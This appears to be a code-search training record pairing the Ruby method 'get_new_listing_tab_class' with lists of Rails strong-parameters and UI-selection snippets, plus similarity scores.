"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def list_params\n params.permit(:name)\n end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def url_whitelist; end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69802505",
"0.6781974",
"0.67470175",
"0.67430073",
"0.67350477",
"0.6593221",
"0.6504263",
"0.64988977",
"0.6481794",
"0.64800006",
"0.64568025",
"0.64411247",
"0.6379476",
"0.63765615",
"0.6368045",
"0.6320141",
"0.6300363",
"0.6300057",
"0.62952244",
"0.6294712",
"0.6293856",
"0.6290323",
"0.62816143",
"0.6241851",
"0.6241208",
"0.622036",
"0.62128764",
"0.62110275",
"0.61966056",
"0.61776453",
"0.617547",
"0.6174961",
"0.61654735",
"0.6153256",
"0.61516005",
"0.6149498",
"0.6123234",
"0.6118653",
"0.61077267",
"0.61061186",
"0.6093616",
"0.608318",
"0.6074428",
"0.60650206",
"0.60244286",
"0.6020295",
"0.60155797",
"0.6012826",
"0.6010141",
"0.6010141",
"0.60037106",
"0.600298",
"0.59979576",
"0.5994806",
"0.5994283",
"0.5993927",
"0.5980616",
"0.59667075",
"0.59614897",
"0.59610957",
"0.596071",
"0.5959614",
"0.59554",
"0.59542966",
"0.5946781",
"0.5940262",
"0.5940262",
"0.59401053",
"0.5937168",
"0.5932135",
"0.59293395",
"0.592659",
"0.59202623",
"0.59112674",
"0.59088206",
"0.590716",
"0.59056735",
"0.589997",
"0.5899655",
"0.5898926",
"0.5896042",
"0.589589",
"0.5895867",
"0.58894163",
"0.5884936",
"0.5879227",
"0.58740723",
"0.5871364",
"0.5870148",
"0.5869228",
"0.5868196",
"0.5867967",
"0.5865532",
"0.58653617",
"0.58644646",
"0.58631665",
"0.5862611",
"0.5857609",
"0.58558804",
"0.5853729",
"0.5853025"
] |
0.0
|
-1
|
Class is selected if listing type is currently selected
|
def get_new_listing_tab_class(listing_type)
"new_listing_form_tab_#{@listing.listing_type.eql?(listing_type) ? 'selected' : 'unselected'}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_type_select_icon_class(category)\n \"listing_type_select_icon_#{@listing.category.eql?(category) ? 'selected' : 'unselected'}_#{category}\"\n end",
"def get_listing_tab_class(tab_name)\n current_tab_name = params[:type] || \"list_view\"\n \"inbox_tab_#{current_tab_name.eql?(tab_name) ? 'selected' : 'unselected'}\"\n end",
"def get_listing_tab_class(tab_name)\n current_tab_name = params[:type] || \"list_view\"\n \"inbox_tab_#{current_tab_name.eql?(tab_name) ? 'selected' : 'unselected'}\"\n end",
"def get_listing_tab_class(tab_name)\n current_tab_name = params[:type] || \"list_view\"\n \"inbox_tab_#{current_tab_name.eql?(tab_name) ? 'selected' : 'unselected'}\"\n end",
"def selected; end",
"def selected?; end",
"def selected?; end",
"def custom_collect_class(cllt_type, resource)\n cllt_type == 'check_box' ? get_tag_class(resource.object.name) : resource.text\n end",
"def choose_new_type\n @types = Poll.all_types_for_select\n end",
"def selected?; false; end",
"def selected?; false; end",
"def selected\n @selected\n end",
"def set_class_type\n @class_type = ClassType.find(params[:id])\n end",
"def menu_item_class(menu_item_title)\n @current_archive == Archive.ada && menu_item_title == @title ? \"current\" : \"\"\n end",
"def list_class(list, mode)\n \"complete\" if all_complete?(list, mode)\n end",
"def new_creatable_selection\n select_tag :model_type,options_for_select(creatable_classes.collect{|c| [c.underscore.humanize,c.underscore] })\n end",
"def list_item_class\n if can? :use, machine\n case object.state\n when \"available\"\n \"object list-group-item clearfix\"\n when \"empty\"\n \"object list-group-item list-group-item-info clearfix\"\n when \"unpaid\"\n \"object list-group-item list-group-item-warning clearfix\"\n when \"ready\"\n \"object list-group-item list-group-item-warning clearfix\"\n when \"in_progress\"\n \"object list-group-item list-group-item-success clearfix\"\n when \"complete\"\n \"object list-group-item list-group-item-success clearfix\"\n end\n else\n \"object list-group-item disabled clearfix\"\n end\n end",
"def select_type\n\t\t\t@select_all_type = TypeEquipament.all\n\t\tend",
"def select_by_class(klass)\n scoped = @project.objects_hash.select { |_, attr| attr['isa'] == klass.isa }\n PBXObjectList.new(klass, @project, scoped)\n end",
"def list_css_class\n \"#{model_type}-list\"\n end",
"def get_share_type_checkbox_classes(share_type)\n classes = \"\"\n Listing::VALID_CATEGORIES.each do |category|\n if Listing::VALID_SHARE_TYPES[@listing.listing_type][category] &&\n Listing::VALID_SHARE_TYPES[@listing.listing_type][category].include?(share_type)\n classes += \"#{category} \"\n end \n end\n classes \n end",
"def active_class(rendered_page, current_page)\n if rendered_page[:shortname] == current_page[:shortname]\n return 'active'\n elsif (current_page.page_type == \"country\" && !current_page.parent.nil? && rendered_page[:shortname] == current_page.parent[:shortname])\n return 'active'\n end\n return '' \n end",
"def select_item\n @selected = @current\n\n items\n end",
"def works_with\n self.class.use_with_class_names.include? item_type\n end",
"def class_for_current_displayed_revision(revision, current_display)\n if revision.id == current_display.id \n return REVISION_SELECTED\n else\n return \"\"\n end\n end",
"def select_by_class(class_name)\n @browser.select_list(:class, cuke_class(class_name))\nend",
"def query_type=(query_option)\n @browser.select_list(:id => \"smartSearchSubtype_0\").select(query_option)\n end",
"def css_class\n @options[:class] || 'navigation'\n end",
"def list_class(list)\n \"complete\" if is_complete?(list)\n end",
"def select_by_class_get_selected(class_name)\n return select_by_class(class_name).selected_option\nend",
"def lbIsSelected _obj, _args\n \"_obj lbIsSelected _args;\" \n end",
"def show\n @current_selection = params[:current_selection] or \"activities\"\n end",
"def plans_classes\n cls = 'plans'\n if @selected_plan\n cls << ' plan-selected'\n end\n cls\n end",
"def item_class\n item_type&.classify&.constantize\n end",
"def selected?\n is_controller = @controller_name == @current_controller.controller_name\n \n case @selection_scope\n when :action\n is_controller && @action_name == @current_controller.action_name\n when :controller\n is_controller || @items.any?(&:selected?)\n end\n end",
"def show\n @listing_type = ListingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def parse_list\n super\n current_list = @tree.children.select { |element| LIST_TYPES.include?(element.type) }.last\n\n is_tasklist = false\n box_unchecked = '<input type=\"checkbox\" class=\"task-list-item-checkbox\" disabled=\"disabled\" />'\n box_checked = '<input type=\"checkbox\" class=\"task-list-item-checkbox\" ' \\\n 'disabled=\"disabled\" checked=\"checked\" />'\n\n current_list.children.each do |li|\n list_items = li.children\n next unless !list_items.empty? && list_items[0].type == :p\n\n # li -> p -> raw_text\n descendant = list_items[0].children[0].value\n checked = descendant.gsub!(/\\A\\s*\\[ \\]\\s+/, box_unchecked)\n unchecked = descendant.gsub!(/\\A\\s*\\[x\\]\\s+/i, box_checked)\n is_tasklist ||= checked || unchecked\n\n li.attr['class'] = 'task-list-item' if is_tasklist\n end\n\n current_list.attr['class'] = 'task-list' if is_tasklist\n\n true\n end",
"def selectable\n @selectable ||= [:select_list]\n end",
"def select_list_option\n select_list.a(:class => \"select-list-option\")\n end",
"def type_for_dropdown\n return list_item.type unless list_item.object?\n\n list_item.object_type.to_s\n end",
"def item_selected=(value)\n @item_selected = value\n end",
"def klass\n @options[:class].presence\n end",
"def selected_page\n end",
"def select\n self.state = @sidebar.selected.data[:id]\n end",
"def selected\n find(&:selected?)\n end",
"def selected?\n @selected\n end",
"def current_is_a?(type)\n assit_kind_of(Class, type)\n @current.attributes['type'] && (\"TaliaCore::#{@current.attributes['type']}\".constantize <= type)\n end",
"def status\n super || ListItem.active_status\n end",
"def active_link_class(item)\n active_class = 'active_menu_link'\n found = false\n case item.class.to_s\n when 'Project'\n found = true if (@project && @project == item) && (@stage.blank?)\n when 'Host'\n found = true if @host && @host == item\n when 'Recipe'\n found = true if @recipe && @recipe == item\n when 'User'\n found = true if @user && @user == item\n when 'Stage'\n found = true if @stage && @stage == item\n end\n \n if found\n active_class\n else\n ''\n end\n end",
"def current_type\n @type\n end",
"def selected?\n return @selected\n end",
"def case_add_to_list(selection)\n case selection\n when 'Song'\n search_song\n when 'Artist'\n search_artist\n when 'Genre'\n store_genre\n when 'Back'\n @menu.my_list\n end\n end",
"def settings_selection(settings_type)\n settings_icon.click\n setting_select.each do |setting|\n setting.click if setting.text == settings_type\n end\n end",
"def is_item? listing, flg=true\n val = %w(employment service item housing)\n flg ? !(listing.is_category_type? val) : (listing.is_category_type? val)\n end",
"def selected_options; end",
"def selected_options; end",
"def current_class( class_code )\n self.classes.select{|c| c.class_code == class_code }.first\n end",
"def class?\n @type == :class\n end",
"def class?\n @type == :class\n end",
"def donable_selected\n @donable = donable_class_constant(params[:donable_type]).new\n render_donable_partial\n end",
"def select_category\n #Parbauda vai ekrans ir redzams\n @screens.screen_create_filter.visible?\n #Pievieno kategoriju no filtra datiem\n @screens.screen_create_filter.select_row(@filter_data.category)\n end",
"def search_type\r\n posting_type == 'Freight' ? 'LoadingSpace' : 'Freight'\r\n end",
"def selected?\n @selected ||= selected_by_subnav? || selected_by_condition?\n end",
"def fav_saved_selection(return_selection)\n case return_selection\n when 1\n today_menu \n when 2\n weekend_menu\n when 3\n display_favorites\n else\n welcome_header\n main_menu\n end \n \n end",
"def set_LodgingClass(value)\n set_input(\"LodgingClass\", value)\n end",
"def class_type=(value)\n\t\tself[:type] = value\n\tend",
"def options_for_class(klass)\n DoesKeyValue.log(\"State: Querying options_for_class for class:#{klass.to_s}\")\n @classes[klass.to_s] rescue {}\n end",
"def selected_class_cards\n logger.info \"class_info: #{params[:class_selected_id]}\"\n @class_deck = SkillCard.where(class_id: params[:class_selected_id])\n render \"user/_class_selected\",\n locals: { selected_class: @class_deck },\n layout: false\n end",
"def has_selected?\n selected?\n end",
"def class_for_step(context, step)\n css_class = case\n # when context.workflow.current?(step)\n # 'nav-info'\n when context.workflow.completed?(step)\n 'nav-success'\n else 'nav-disabled'\n end\n\n css_class\n end",
"def select_list; end",
"def set_class\n @class = Class.find(params[:id])\n end",
"def select\n self[:select]\n end",
"def activate_menu(menu_class, selected_menu)\r\n class_list = menu_class\r\n class_list += (selected_menu == menu_class) ? \" active\" : \"\"\r\n end",
"def browse\n #@listings = Listing.find(:all, :order => \"type\")\n @user = current_user\n @listings = Listing.find(:all, \n :conditions => [\"user_id != ? and status = 'new'\",@user.id ],\n :order => :type, \n :page => {:size => 4, :current => params[:page]})\n @header_type = \"Browse All Listings\"\n \n \n end",
"def select_list\n @browser.div(:class => \"select-list\")\n end",
"def tab( tab, include_class_text = true )\n\n value = 'inactive'\n value = 'selected' if tab\n \n if include_class_text\n ('class=\"' << value << '\"').html_safe\n else\n value\n end\n end",
"def input_class(input_type)\r\n hash = {\r\n 'select-one' => 'SelectList',\r\n 'select-multiple' => 'SelectList',\r\n 'text' => 'TextField',\r\n 'password' => 'TextField',\r\n 'textarea' => 'TextField',\r\n # TODO when there's no type, it's a TextField\r\n 'file' => 'FileField',\r\n 'checkbox' => 'CheckBox',\r\n 'radio' => 'Radio',\r\n 'reset' => 'Button',\r\n 'button' => 'Button',\r\n 'submit' => 'Button',\r\n 'image' => 'Button'\r\n }\r\n hash.default = 'Element'\r\n \r\n hash[input_type]\r\n end",
"def set_checklist_type\n @checklist_type = ChecklistType.find(params[:id])\n end",
"def listing_type=(listing_type)\n validator = EnumAttributeValidator.new('String', ['Sale', 'Rent', 'Share', 'Sold', 'NewHomes'])\n unless validator.valid?(listing_type)\n fail ArgumentError, 'invalid value for \"listing_type\", must be one of #{validator.allowable_values}.'\n end\n @listing_type = listing_type\n end",
"def select_by_class_set_value(class_name, value)\n select_by_class(class_name).select value\nend",
"def selectFilename\n idx = $fnamelist.curselection\n if idx.length==1\n idx = idx[0]\n title = $ovtitles[idx]\n series = $ovseries[idx]\n episode = $ovepisodes[idx]\n\n clearListSelection\n\n $titlelist.itemconfigure(idx, :background => \"#00ffff\")\n $serieslist.itemconfigure(idx, :background => \"#00ffff\")\n $episodelist.itemconfigure(idx, :background => \"#00ffff\")\n\n\n $status.value = \"Title: #{title}, Series: #{series} Episode: #{episode}\"\n else\n $status.value = \"Oook?\"\n end\n\nend",
"def html_opts(path)\n path.split(\"?\").first == request.path ? { class: 'selected' } : {}\n end",
"def klass=(content_type)\n if self.class_name == content_type.slug\n @klass = content_type\n end\n end",
"def special_list_type\n @in_special_list ? @in_special_list : nil\n end",
"def set_class_list\n @class_list = ClassList.find(params[:id])\n end",
"def is_selected_html?(object, foreign_key, foreign_key_choice)\n if object.send(foreign_key).id == foreign_key_choice.id\n \" selected \"\n else\n \"\"\n end\n end",
"def acts_as_selector\n define_method(\"is_selector?\") { true }\n end",
"def selected\r\n assert_exists\r\n #@option.selected\r\n option_selected\r\n end",
"def selected_by_condition?\n is_active_nav_link?(url, highlights_on)\n end",
"def klass\n fetch('dnd.klasses')\n end",
"def klass\n fetch('dnd.klasses')\n end",
"def menu_selection \nend",
"def select_marital_option(marital_status)\n # Consider something like a case statement and check the selenium selected? method\n case marital_status.downcase\n when 'single'\n @chrome_driver.find_elements(:name, MARITAL_STATUS)[0].click\n when 'married'\n @chrome_driver.find_elements(:name, MARITAL_STATUS)[1].click\n when 'divorced'\n @chrome_driver.find_elements(:name, MARITAL_STATUS)[2].click\n end\n end",
"def active_class(image)\n image == images.first ? 'active' : ''\n end",
"def active_class\n act_class = :active\n act_class = :inactive unless self.active?\n act_class\n end",
"def select_question_type(qtype)\n frm.select(:id=>\"_id1:selType\").select(qtype)\n frm.button(:value=>\"Save\").click\n\n page = case(qtype)\n when \"Multiple Choice\" then MultipleChoice.new(@browser)\n when \"True False\" then TrueFalse.new(@browser)\n when \"Survey\" then Survey.new(@browser)\n when \"Short Answer/Essay\" then ShortAnswer.new(@browser)\n when \"Fill in the Blank\" then FillInBlank.new(@browser)\n when \"Numeric Response\" then NumericResponse.new(@browser)\n when \"Matching\" then Matching.new(@browser)\n when \"Audio Recording\" then AudioRecording.new(@browser)\n when \"File Upload\" then FileUpload.new(@browser)\n else puts \"nothing selected\"\n end\n\n return page\n\n end",
"def set_menu_class\n @menu_class = MenuClass.find(params[:id])\n end",
"def select\n self[:select]\n end",
"def category_selection(category)\n category = Public_apis.find_by_name(category)\n #goes over list item array . find method to find item\n\n \n end"
] |
[
"0.6677346",
"0.61910784",
"0.61910784",
"0.61910784",
"0.60319775",
"0.60249406",
"0.60249406",
"0.58472794",
"0.5712906",
"0.5561352",
"0.5561352",
"0.551788",
"0.550998",
"0.54952693",
"0.54813576",
"0.5461367",
"0.54451317",
"0.5444347",
"0.5407138",
"0.53911525",
"0.53695405",
"0.5360523",
"0.5346429",
"0.53429717",
"0.5334215",
"0.5302197",
"0.52864325",
"0.52852803",
"0.5273269",
"0.5264115",
"0.5263205",
"0.52544236",
"0.5242371",
"0.52414644",
"0.5233706",
"0.5233128",
"0.5222779",
"0.5208709",
"0.51742613",
"0.51676977",
"0.5163069",
"0.51616377",
"0.51481605",
"0.5143765",
"0.5133083",
"0.512771",
"0.511669",
"0.5111746",
"0.50971574",
"0.5095577",
"0.5087426",
"0.50752485",
"0.5068961",
"0.5063003",
"0.5061464",
"0.5061464",
"0.5058025",
"0.5040598",
"0.5040598",
"0.50350547",
"0.503234",
"0.5020955",
"0.5016563",
"0.50138694",
"0.50110877",
"0.4995468",
"0.49936825",
"0.49916166",
"0.49776423",
"0.49716595",
"0.49678028",
"0.49633494",
"0.4960493",
"0.49524108",
"0.49455345",
"0.4931759",
"0.490777",
"0.49051684",
"0.49026287",
"0.4900525",
"0.48986265",
"0.488501",
"0.48776817",
"0.4875953",
"0.48737732",
"0.48558334",
"0.48509234",
"0.4840479",
"0.4833912",
"0.483257",
"0.48310626",
"0.48310626",
"0.48245245",
"0.48223534",
"0.48219886",
"0.48158526",
"0.4798281",
"0.4788577",
"0.47848657",
"0.47791216"
] |
0.70310605
|
0
|
Class is selected if category is currently selected
|
def get_type_select_icon_class(category)
"listing_type_select_icon_#{@listing.category.eql?(category) ? 'selected' : 'unselected'}_#{category}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def select_category\n #Parbauda vai ekrans ir redzams\n @screens.screen_create_filter.visible?\n #Pievieno kategoriju no filtra datiem\n @screens.screen_create_filter.select_row(@filter_data.category)\n end",
"def selected?; end",
"def selected?; end",
"def selected; end",
"def selectCategory(data = {})\n self.has_expected_element?\n data = data_for('homepage',data)\n case data['category'].downcase.gsub(/\\s+/, '')\n when 'news&politics'\n news_and_politics_element.click\n when 'style'\n style_element.click\n end\n end",
"def category_selection(category)\n category = Public_apis.find_by_name(category)\n #goes over list item array . find method to find item\n\n \n end",
"def set_category_classified\n @category_classified = CategoryClassified.find(params[:id])\n end",
"def select_category3(category_option)\n category_locator = Locator.new(NewRequestWhatLocators::CATEGORY).replace_value('<category>', category_option)\n sp_helper.select_radio_btn(category_locator)\n end",
"def activate_menu(menu_class, selected_menu)\r\n class_list = menu_class\r\n class_list += (selected_menu == menu_class) ? \" active\" : \"\"\r\n end",
"def set_category\n end",
"def select_category\n puts \"Please select from the following catagories:\\n\\n\"\n category_lister\n puts \"\\n\\n\"\n fact_input\n end",
"def category_active_for?(category)\n !!category_preferences.try(:any?) { |cp| cp.category_id == category.id }\n end",
"def selected\n @selected\n end",
"def selected_class_cards\n logger.info \"class_info: #{params[:class_selected_id]}\"\n @class_deck = SkillCard.where(class_id: params[:class_selected_id])\n render \"user/_class_selected\",\n locals: { selected_class: @class_deck },\n layout: false\n end",
"def selected?; false; end",
"def selected?; false; end",
"def selected?\n is_controller = @controller_name == @current_controller.controller_name\n \n case @selection_scope\n when :action\n is_controller && @action_name == @current_controller.action_name\n when :controller\n is_controller || @items.any?(&:selected?)\n end\n end",
"def get_category\n current_category = self.category.name\n end",
"def is_in_current_goal_category?(category)\n if self.category == category \n true\n else\n false\n end\n end",
"def set_category\n @category = @current_branch.categories.find(params[:id])\n end",
"def click_categories\n categories_mobile.click unless @browser.find_elements(:class, 'browse-category-menu-scroller').count == 1\n end",
"def select_category_255(category_option)\n ui_manager.select_radio_btn(category_locator)\n end",
"def selected_sub_catgeory?\r\n !session[:selected_sub_catgeory].nil?\r\n end",
"def on_category_ok; @quest_list_window.activate; end",
"def selected?\n @selected\n end",
"def menu_item_class(menu_item_title)\n @current_archive == Archive.ada && menu_item_title == @title ? \"current\" : \"\"\n end",
"def selected_by_condition?\n is_active_nav_link?(url, highlights_on)\n end",
"def activate_c1; activate_cat(@category_window); end",
"def uhook_select_fittest category, options = {}\n options[:locale] ? (category.in_locale(options[:locale]) || category) : category\n end",
"def set_category\n\t\tself.category_type=\"Main\"\n\t\tself.save\n\tend",
"def select\n self.state = @sidebar.selected.data[:id]\n end",
"def has_category_as_preference(category)\n self.categories.include?(category)\n end",
